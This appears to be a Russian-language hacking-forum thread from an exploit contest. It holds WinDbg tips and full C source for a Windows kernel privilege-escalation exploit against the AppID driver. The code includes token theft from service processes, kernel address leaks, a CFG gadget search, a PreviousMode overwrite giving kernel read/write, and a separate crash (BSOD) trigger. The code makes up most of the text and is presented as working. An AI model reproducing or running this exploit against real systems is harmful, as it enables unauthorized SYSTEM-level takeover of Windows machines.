Скрытое содержимое
Скрытый контент для пользователей: .
Последнее редактирование:
Скрытое содержимое
Ух ты, спасибо огромное, пойду чтоль порешаю тогда ужhttps://github.com/4d61726b/VirtualKD-Redux - вот софт для супер простой настройки виндбг, подключается к отладчику почти из коробки. А для самого windbg надо знать буквально десяток базовых команд чтобы работать. dt, dq (и остальные d*), u/uf, ld, r, p, t, bp и еще пара других. Коллстэк можешь глянуть в View/Call Stack. Вот этого вроде бы должно хватить для bsod-a.
Чисто теоретически, виндбг будет с флешки работать? Чтобы все портативненько былоУх ты, спасибо огромное, пойду чтоль порешаю тогда уж
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtImpersonateThread(
IN HANDLE ThreadHandle,
IN HANDLE ThreadToImpersonate,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);
bool EnableDebugPrivilege()
{
HANDLE hToken = nullptr;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
return TRUE;
}
bool ImpersonateThread()
{
bool result = false;
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (h != INVALID_HANDLE_VALUE) {
DWORD pid = 0;
// Get parent of audiodg.exe - svchost.exe with NT AUTHORITY/LOCAL SERVICE
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(h, &pe)) {
do {
if (pe.szExeFile == std::wstring(L"audiodg.exe")) {
pid = pe.th32ParentProcessID;
break;
}
} while (Process32Next(h, &pe));
}
if (pid) {
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te)) {
do {
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) {
if (pid == te.th32OwnerProcessID) {
HANDLE hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, 0, te.th32ThreadID);
if (hThread) {
SECURITY_QUALITY_OF_SERVICE SecurityQos = { 0 };
SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQos.ImpersonationLevel = SecurityImpersonation;
NTSTATUS status = NtImpersonateThread(GetCurrentThread(), hThread, &SecurityQos);
result = status == 0;
printf("Process %d Thread %d, status: 0x%X\n",
te.th32OwnerProcessID, te.th32ThreadID, status);
CloseHandle(hThread);
}
break;
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
}
CloseHandle(h);
}
return result;
}
void MakeBSOD()
{
HANDLE hDevice = CreateFileW(L"\\\\.\\AppID",
0x40000000u,
FILE_SHARE_READ |
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Device not found, GLE: %d\n", GetLastError());
return;
}
uint8_t buffer[0x18] = { 0 };
DWORD returned;
BOOL bResult = DeviceIoControl(hDevice,
0x22A018,
buffer, sizeof(buffer),
buffer, sizeof(buffer),
&returned,
(LPOVERLAPPED)NULL);
printf("DeviceIoControl result: %s, GLE: %d\n", bResult ? "true" : "false", GetLastError());
system("pause");
CloseHandle(hDevice);
}
int main() {
system("sc start appidsvc");
if (!EnableDebugPrivilege()) {
printf("EnableDebugPrivilege failed\n");
return 1;
}
if (!ImpersonateThread()) {
printf("ImpersonateThread failed\n");
return 1;
}
MakeBSOD();
return 0;
}
Скрытое содержимое
Setup a virtual machine with vulnerable version of Windows from https://uupdump.net/How can we create a vulnerable environment?
Скрытое содержимое
Кек, сейчас у себя посмотрел, я ее отмечал тоже, но не тестил. Тоже использовал аналогичный подход в поиске гаджета по опкодам. Потом просто смотрел функции по словам типа "Copy", "Delete", "Move" и наткнулся.спустя несколько часов нашел подходящий гаджет , который находился в функции KiVerifyXcptFilter
Я рад, что было интересно. После завершения жди свой заслуженный Премиум.В общем интересно провел время, узнал что-то новое. Спасибо за конкурс, если будут еще - обязательно попробую свои силы
PreviousMode через ObfDereferenceObject.PreviousMode. Увы, но нерабочая в текущих условиях. Аналогичная техника применялась здесь.#include <windows.h>
#include <sddl.h>
#include <stdio.h>
#include <stdint.h>
#include "Common.h"
pNtAdjustPrivilegesToken NtAdjustPrivilegesToken = NULL;
pNtOpenProcessToken NtOpenProcessToken = NULL;
pNtOpenProcess NtOpenProcess = NULL;
pNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
pNtDuplicateToken NtDuplicateToken = NULL;
pNtSetInformationThread NtSetInformationThread = NULL;
pNtQueryInformationToken NtQueryInformationToken = NULL;
pNtClose NtClose = NULL;
pNtDeviceIoControlFile NtDeviceIoControlFile = NULL;
pNtCreateFile NtCreateFile = NULL;
pNtQuerySystemInformation NtQuerySystemInformation = NULL;
pRtlInitUnicodeString RtlInitUnicodeString = NULL;
pRtlGetVersion RtlGetVersion = NULL;
HANDLE currentProcessHandle = ((HANDLE)(LONG_PTR)-1);
HANDLE currentThreadHandle = ((HANDLE)(LONG_PTR)-2);
void stealToken(HANDLE* duplicateTokenHandleOut, int64_t dwPid);
int init_ntdll()
{
HMODULE hNtdll = GetModuleHandleW(L"ntdll");
if (hNtdll == NULL)
{
wprintf(L"[!] Failed to load ntdll.dll! (Error code: %d)\n", GetLastError());
return 0;
}
RtlGetVersion = (pRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
NtAdjustPrivilegesToken = (pNtAdjustPrivilegesToken)GetProcAddress(hNtdll, "NtAdjustPrivilegesToken");
NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtOpenProcessToken = (pNtOpenProcessToken)GetProcAddress(hNtdll, "NtOpenProcessToken");
NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");
NtDuplicateToken = (pNtDuplicateToken)GetProcAddress(hNtdll, "NtDuplicateToken");
NtSetInformationThread = (pNtSetInformationThread)GetProcAddress(hNtdll, "NtSetInformationThread");
NtQueryInformationToken = (pNtQueryInformationToken)GetProcAddress(hNtdll, "NtQueryInformationToken");
NtClose = (pNtClose)GetProcAddress(hNtdll, "NtClose");
NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
NtCreateFile = (pNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile");
NtDeviceIoControlFile = (pNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile");
if (!NtAdjustPrivilegesToken && !NtOpenProcess && !NtDuplicateToken && !NtOpenProcessToken
&& !NtSetInformationThread && !NtQueryInformationToken && !NtClose &&
!NtQuerySystemInformation && !RtlInitUnicodeString && !NtCreateFile && !NtDeviceIoControlFile && !RtlGetVersion && !NtWriteVirtualMemory)
{
wprintf(L"[!] Failed to resolve ntdll functions\n");
return 0;
}
return 1;
}
void spawnShell(HANDLE duplicatedTokenHandle, int64_t dwPid)
{
WCHAR selfPath[MAX_PATH] = { 0 };
if (!GetModuleFileNameW(NULL, selfPath, 100)) {
wprintf(L"Failed to get module file name.\n");
return -1;
}
WCHAR cmdLine[MAX_PATH] = { 0 };
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
if (dwPid != 0)
{
if (swprintf_s(cmdLine, MAX_PATH, L"%s %lld 0", selfPath, dwPid) == -1) {
wprintf(L"ERROR: Failed to format command line.\n");
return -1;
}
}
else
{
if (wcscpy_s(cmdLine, MAX_PATH, selfPath) != 0) {
wprintf(L"ERROR: Failed to copy selfPath to cmdLine.\n");
return -1;
}
}
// Set up STARTUPINFO
si.cb = sizeof(si);
si.lpDesktop = L"Winsta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
// This will fail with ACCESS_DENIED if the local service doesn't have the permissions to access the directory
BOOL bResult = CreateProcessAsUserW(
duplicatedTokenHandle,
NULL,
cmdLine,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
if (!bResult) {
wprintf(L"CreateProcessAsUserW failed with error %ld\n", GetLastError());
}
else {
wprintf(L"Process created successfully.\n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
BOOL IsRunningAsSystem() {
HANDLE tokenHandle = NULL;
NTSTATUS status;
PTOKEN_USER pTokenUser = NULL;
ULONG dwSize = 0;
LPWSTR sidString = NULL;
BOOL result = FALSE;
status = NtOpenProcessToken(currentProcessHandle, TOKEN_QUERY, &tokenHandle);
if (status != 0) {
wprintf(L"NtOpenProcessToken failed. Status: 0x%x\n", status);
return FALSE;
}
status = NtQueryInformationToken(tokenHandle, TokenUser, NULL, 0, &dwSize);
if (status != 0xC0000023) {
wprintf(L"NtQueryInformationToken (1) failed. Status: 0x%x\n", status);
NtClose(tokenHandle);
return FALSE;
}
pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
if (!pTokenUser) {
wprintf(L"HeapAlloc failed.\n");
NtClose(tokenHandle);
return FALSE;
}
status = NtQueryInformationToken(tokenHandle, TokenUser, pTokenUser, dwSize, &dwSize);
if (status != 0) {
wprintf(L"NtQueryInformationToken (2) failed. Status: 0x%x\n", status);
HeapFree(GetProcessHeap(), 0, pTokenUser);
NtClose(tokenHandle);
return FALSE;
}
if (!ConvertSidToStringSidW(pTokenUser->User.Sid, &sidString)) {
wprintf(L"ConvertSidToStringSidW failed.\n");
HeapFree(GetProcessHeap(), 0, pTokenUser);
NtClose(tokenHandle);
return FALSE;
}
// NT AUTHORITY\LOCAL SERVICE
if (_wcsicmp(sidString, L"S-1-5-19") == 0) {
result = TRUE;
}
LocalFree(sidString);
HeapFree(GetProcessHeap(), 0, pTokenUser);
NtClose(tokenHandle);
return result;
}
int wmain(int argc, wchar_t* argv[])
{
if (!init_ntdll())
{
return -1;
}
if (IsRunningAsSystem()) {
wprintf(L"The process is running as NT AUTHORITY\\LOCAL SERVICE.\n");
exploit();
ExitProcess(0);
}
else {
wprintf(L"The process is not running as NT AUTHORITY\\LOCAL SERVICE.\n");
if (3 != argc)
{
wprintf(L"Usage: %ls <winlogon PID> <service PID>", argv[0]);
return -1;
}
HANDLE duplicatedTokenHandle = NULL;
int64_t dwPid = 0;
int64_t dwPid2 = 0;
dwPid = _wtoi(argv[1]);
dwPid2 = _wtoi(argv[2]);
if (!dwPid && !dwPid2)
{
wprintf(L"PIDs must be numeric.\r\n");
return -2;
}
wprintf(L"[+] Stealing token from process #%lld.\r\n", dwPid);
stealToken(&duplicatedTokenHandle, dwPid);
if (!duplicatedTokenHandle)
{
wprintf(L"Token stealing failed.\r\n");
return -3;
}
spawnShell(duplicatedTokenHandle, dwPid2);
}
return 0;
}
void stealToken(HANDLE* duplicateTokenHandleOut, int64_t dwPid)
{
HANDLE targetProcessHandle = NULL;
HANDLE duplicatedTokenHandle = NULL;
HANDLE currentTokenHandle = NULL;
NTSTATUS Status;
TOKEN_PRIVILEGES tp;
Status = NtOpenProcessToken(currentProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ¤tTokenHandle);
CHECK_STATUS(L"NtOpenProcessToken() returned ", Status);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid.HighPart = 0;
tp.Privileges[0].Luid.LowPart = LUID_SE_DEBUG;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Status = NtAdjustPrivilegesToken(currentTokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
if(Status != STATUS_NOT_ALL_ASSIGNED)
CHECK_STATUS(L"NtAdjustPrivilegesToken() #1 returned ", Status);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid.HighPart = 0;
tp.Privileges[0].Luid.LowPart = LUID_SE_IMPERSONATE;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Status = NtAdjustPrivilegesToken(currentTokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
if (Status != STATUS_NOT_ALL_ASSIGNED)
CHECK_STATUS(L"NtAdjustPrivilegesToken() #2 returned ", Status);
DWORD dwDesiredAccess;
OBJECT_ATTRIBUTES Obja;
CLIENT_ID ClientId;
dwDesiredAccess = PROCESS_QUERY_INFORMATION;
ClientId.UniqueThread = NULL;
ClientId.UniqueProcess = (HANDLE)(dwPid);
InitializeObjectAttributes(&Obja, NULL, 0, NULL, NULL, NULL);
Status = NtOpenProcess(&targetProcessHandle, dwDesiredAccess, &Obja, &ClientId); // Cannot access PPL processes
CHECK_STATUS(L"NtOpenProcess() returned ", Status);
HANDLE targetTokenHandle = NULL;
Status = NtOpenProcessToken(
targetProcessHandle,
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&targetTokenHandle);
CHECK_STATUS(L"NtOpenProcessToken() returned ", Status);
OBJECT_ATTRIBUTES Obja2;
SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
SecurityQualityOfService.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQualityOfService.ImpersonationLevel = SecurityImpersonation;
SecurityQualityOfService.ContextTrackingMode = FALSE;
SecurityQualityOfService.EffectiveOnly = FALSE;
InitializeObjectAttributes(&Obja2, NULL, 0, NULL, NULL, &SecurityQualityOfService);
Status = NtDuplicateToken(
targetTokenHandle,
MAXIMUM_ALLOWED,
&Obja2,
FALSE,
TokenImpersonation,
&duplicatedTokenHandle);
CHECK_STATUS(L"NtDuplicateToken() returned ", Status);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid.HighPart = 0;
tp.Privileges[0].Luid.LowPart = LUID_SE_ASSIGNPRIMARYTOKEN;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Status = NtAdjustPrivilegesToken(duplicatedTokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
if(Status != STATUS_NOT_ALL_ASSIGNED)
CHECK_STATUS(L"NtAdjustPrivilegesToken() #1 returned ", Status);
Status = NtSetInformationThread(
currentThreadHandle,
ThreadImpersonationToken,
(PVOID)&duplicatedTokenHandle,
sizeof(duplicatedTokenHandle));
CHECK_STATUS(L"NtSetInformationThread() returned ", Status);
*duplicateTokenHandleOut = duplicatedTokenHandle;
}
#include "Common.h"
void* CheckWindowsVersionAndSetOffsets(size_t* kthreadoffset, OSVERSIONINFOEXW* osInfo)
{
osInfo->dwOSVersionInfoSize = sizeof(*osInfo);
NTSTATUS status = RtlGetVersion(osInfo);
if (status != STATUS_SUCCESS) {
wprintf(L"Failed to get OS version\n");
return NULL;
}
wprintf(L"[+] Windows version: %lu.%lu Build %lu\n", osInfo->dwMajorVersion, osInfo->dwMinorVersion, osInfo->dwBuildNumber);
*kthreadoffset = 0x232; // PreviousMode offset
void* userbuffer = NULL;
if (osInfo->dwBuildNumber < 22000) {
userbuffer = malloc(sizeof(USER_BUFFER_W10));
}
else {
userbuffer = malloc(sizeof(USER_BUFFER_W11));
}
return userbuffer;
}
UINT_PTR GetETHREADAddress()
{
NTSTATUS status;
HANDLE hCurrentThreadPseudoHandle = ((HANDLE)(LONG_PTR)-2);
HANDLE hDuplicatedHandle = NULL;
UINT_PTR tokenAddress = 0;
ULONG ulBytes = 0;
PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;
BOOL success = DuplicateHandle(
((HANDLE)(LONG_PTR)-1),
hCurrentThreadPseudoHandle,
((HANDLE)(LONG_PTR)-1),
&hDuplicatedHandle,
0,
FALSE,
DUPLICATE_SAME_ACCESS);
if (!success)
{
wprintf(L"Failed to duplicate handle. Error: %lu\n", GetLastError());
return 1;
}
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (status == 0)
{
for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
{
if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)hDuplicatedHandle)
{
tokenAddress = (UINT_PTR)handleTableInfo->Handles[i].Object;
break;
}
}
}
else
{
if (handleTableInfo != NULL)
{
wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
CloseHandle(hDuplicatedHandle);
return 0;
}
}
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return tokenAddress;
}
UINT_PTR GetFILE_OBJECT_Address()
{
NTSTATUS status;
HANDLE hDuplicatedHandle = NULL;
UINT_PTR tokenAddress = 0;
ULONG ulBytes = 0;
PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;
HANDLE hFile = CreateFileW(L"C:\\Users\\Public\\example.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf(L"Failed to duplicate handle. Error: %lu\n", GetLastError());
return 1;
}
// Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (status == 0)
{
for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
{
if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)hFile)
{
tokenAddress = (UINT_PTR)handleTableInfo->Handles[i].Object;
break;
}
}
}
else
{
if (handleTableInfo != NULL)
{
wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
CloseHandle(hDuplicatedHandle);
return 0;
}
}
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return tokenAddress;
}
UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
NTSTATUS status;
ULONG ulBytes = 0;
PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;
while ((status = NtQuerySystemInformation(SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (status == 0)
{
for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
{
char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
if (moduleName != NULL)
{
return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
}
}
}
else
{
if (handleTableInfo != NULL)
{
wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return 0;
}
}
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return 0;
}
int SendRequest(HANDLE hDevice, PVOID inputbuffer, size_t inputbufferLen)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
ULONG dwbytesreturned = 0;
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_AipSmartHashImageFile, inputbuffer, inputbufferLen, NULL, dwbytesreturned);
if (status == NOERROR)
{
return 1;
}
else
{
wprintf(L"[!] NtDeviceIoControlFile failed with 0x%X\n", status);
return 0;
}
}
BOOL ScanSectionForPattern(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T dwSize, BYTE* pattern, SIZE_T patternSize, LPVOID* lpFoundAddress) {
BYTE* buffer = (BYTE*)malloc(dwSize);
SIZE_T bytesRead;
if (!ReadProcessMemory(hProcess, lpBaseAddress, buffer, dwSize, &bytesRead)) {
free(buffer);
return FALSE;
}
for (SIZE_T i = 0; i < dwSize - patternSize; i++) {
BOOL found = TRUE;
for (SIZE_T j = 0; j < patternSize; j++) {
if (buffer[i + j] != pattern[j]) {
found = FALSE;
break;
}
}
if (found) {
*lpFoundAddress = (LPVOID)((DWORD_PTR)lpBaseAddress + i);
free(buffer);
return TRUE;
}
}
free(buffer);
return FALSE;
}
UINT_PTR FindPattern(HMODULE hModule)
{
UINT_PTR relativeOffset = 0;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
LPVOID lpFoundAddress = NULL;
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (strcmp((CHAR*)pSectionHeader[i].Name, "PAGE") == 0) {
LPVOID lpSectionBaseAddress = (LPVOID)((LPBYTE)hModule + pSectionHeader[i].VirtualAddress);
SIZE_T dwSectionSize = pSectionHeader[i].Misc.VirtualSize;
// Pattern of bytes for nt!ExpProfileDelete
// Learned hard way that CFG is such sensitive to even missing a single byte
BYTE pattern[] = {0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74};
SIZE_T patternSize = sizeof(pattern);
if (ScanSectionForPattern(GetCurrentProcess(), lpSectionBaseAddress, dwSectionSize, pattern, patternSize, &lpFoundAddress)) {
printf("\t[*] ExpProfileDelete function found in the PAGE section of ntoskrnl.exe.\n");
printf("\t[*] Starting address of ExpProfileDelete: 0x%p\n", lpFoundAddress);
// Calculate the relative offset
relativeOffset = (UINT_PTR)lpFoundAddress - (UINT_PTR)hModule;
printf("\t[*] Relative offset of ExpProfileDelete: 0x%p\n", (LPVOID)relativeOffset);
}
else {
printf("\t[!] ExpProfileDelete function not found in the PAGE section of ntoskrnl.exe.\n");
}
break;
}
}
return relativeOffset;
}
int exploit()
{
size_t offsetOfPreviousMode = 0;
size_t bufferLength = 0;
OSVERSIONINFOEXW osInfo = { 0 };
CFG_FUNCTION_WRAPPER cfgFunction = { 0 };
void* userBuffer = CheckWindowsVersionAndSetOffsets(&offsetOfPreviousMode, &osInfo);
if (!userBuffer) {
wprintf(L"Failed to allocate or determine the correct user buffer.\n");
return -1; // Error handling
}
ULONG_PTR PrevMode = NULL;
NTSTATUS status;
DWORD dwBytesReturned = 0;
HANDLE hDevice, eventHandle = NULL;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES objAttr;
IO_STATUS_BLOCK ioStatus;
RtlInitUnicodeString(&deviceName, L"\\Device\\AppID");
InitializeObjectAttributes(&objAttr, &deviceName, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);
wprintf(L"[^] Trying to open a handle to %ws\n", deviceName.Buffer);
status = NtCreateFile(&hDevice, GENERIC_READ | GENERIC_WRITE,
&objAttr, &ioStatus, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);
if (status != 0)
{
wprintf(L"[!] Failed to open a handle to %ws (NTSTATUS code: 0x%X)\n", deviceName.Buffer, status);
return -1;
}
wprintf(L"[+] Opened a handle successfully %p\n", hDevice);
wprintf(L"[*] Leaking the current ETHREAD address\n");
UINT_PTR ETHREADAddress = GetETHREADAddress();
UINT_PTR FILE_OBJECT_Address = GetFILE_OBJECT_Address();
UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
HMODULE ntoskrnlUserBase = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, 0);
if (!ETHREADAddress && !ntoskrnlKernelBase && !ntoskrnlUserBase && !FILE_OBJECT_Address)
{
wprintf(L"[!] Failed to leak the ETHREAD/KernelBase address\n");
return -1;
}
wprintf(L"[+] Leaked ETHREAD address: 0x%p\n", ETHREADAddress);
PrevMode = ETHREADAddress + offsetOfPreviousMode;
UINT_PTR reloffset = FindPattern(ntoskrnlUserBase);
UINT_PTR CFG_GADGET = ntoskrnlKernelBase + reloffset;
wprintf(L"[+] Our Thread PreviousMode Kernel Address => %p\n", PrevMode);
wprintf(L"[+] FILE_OBJECT Address => %p\n", FILE_OBJECT_Address);
wprintf(L"[+] CFG Gadget Kernel Base Address => %p\n", ntoskrnlKernelBase);
wprintf(L"[+] CFG Gadget User Base Address => %p\n", ntoskrnlUserBase);
wprintf(L"[+] CFG Gadget Address => %p\n", CFG_GADGET);
if (osInfo.dwBuildNumber < 22000) {
USER_BUFFER_W10* bufferW10 = (USER_BUFFER_W10*)userBuffer;
cfgFunction.FunctionPointer = CFG_GADGET;
// Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag
UINT_PTR prevModeObf = PrevMode + 0x30;
bufferW10->FirstArg = prevModeObf; // +0x00
bufferW10->Value = FILE_OBJECT_Address; // +0x08
bufferW10->PtrToFunctionWrapper = (UINT_PTR)&cfgFunction; // +0x10
bufferLength = sizeof(USER_BUFFER_W10);
}
else
{
USER_BUFFER_W11* bufferW11 = (USER_BUFFER_W11*)userBuffer;
cfgFunction.FunctionPointer = CFG_GADGET;
// Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag
UINT_PTR prevModeObf = PrevMode + 0x30;
bufferW11->FirstArg = prevModeObf; // +0x00
bufferW11->Value = FILE_OBJECT_Address; // +0x08
bufferW11->PtrToFunctionWrapper = (UINT_PTR)&cfgFunction; // +0x10
bufferW11->Unknown = NULL; // +0x18
bufferLength = sizeof(USER_BUFFER_W11);
}
wprintf(L"[*] Sending the request to trigger the bug\n");
char* buffer = (char*)malloc(sizeof(CHAR));
if (userBuffer)
{
if (SendRequest(hDevice, userBuffer, bufferLength))
{
wprintf(L"[+] Sent the request successfully\n");
}
else
{
wprintf(L"[!] Failed to send the request\n");
return -1;
}
wprintf(L"[+] Request Successful!\n");
wprintf(L"[+] Checking PreviousMode...\n");
NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)PrevMode, sizeof(CHAR), &dwBytesReturned);
wprintf(L"[*] PreviousMode => %d\n", *buffer);
}
wprintf(L"[+] Exploit Done!\n");
wprintf(L"[+] Starting cleanup...\n");
Sleep(2000);
*buffer = 1;
NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)PrevMode, (PVOID)buffer, sizeof(CHAR), &dwBytesReturned);
wprintf(L"[+] Cleanup Done!.\n[+] Press Enter To End!\n");
getchar();
free(userBuffer);
free(buffer);
NtClose(hDevice);
return 0;
}
#pragma once
#include <Windows.h>
#include <stdio.h>
int exploit();
// https://github.com/gtworek/PSBits/blob/e233709faa16a974d3af606c2dafe37ffe8f7aa9/Misc/TokenStealWithSyscalls.c
#define LUID_SE_ASSIGNPRIMARYTOKEN 3
#define LUID_SE_DEBUG 20
#define LUID_SE_IMPERSONATE 29
#define STATUS_NOT_ALL_ASSIGNED 262
#define CHECK_STATUS(Msg, Status) if (ERROR_SUCCESS != (Status)) {wprintf(L"LINE %d: %s%lu\r\n", __LINE__, (Msg), (Status));}
#define IOCTL_AipSmartHashImageFile 0x22A018
typedef struct _CFG_FUNCTION_WRAPPER
{
PVOID FunctionPointer;
} CFG_FUNCTION_WRAPPER, * PCFG_FUNCTION_WRAPPER;
typedef struct _USER_BUFFER_W10
{
UINT64 FirstArg; // 8 bytes - Reserved or used as needed
PVOID Value; // 8 bytes - Should be 0 according to the requirement
PCFG_FUNCTION_WRAPPER PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
} USER_BUFFER_W10, * PUSER_BUFFER_W10;
typedef struct _USER_BUFFER_W11
{
UINT64 FirstArg; // 8 bytes - Reserved or used as needed
PVOID Value; // 8 bytes - Should be 0 according to the requirement
PCFG_FUNCTION_WRAPPER PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
PVOID Unknown; // 8 bytes - Reserved or used as needed
} USER_BUFFER_W11, * PUSER_BUFFER_W11;
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OPEN 0x00000001
#define OFFSET_OF_TOKEN_PRIVILEGES 0x40
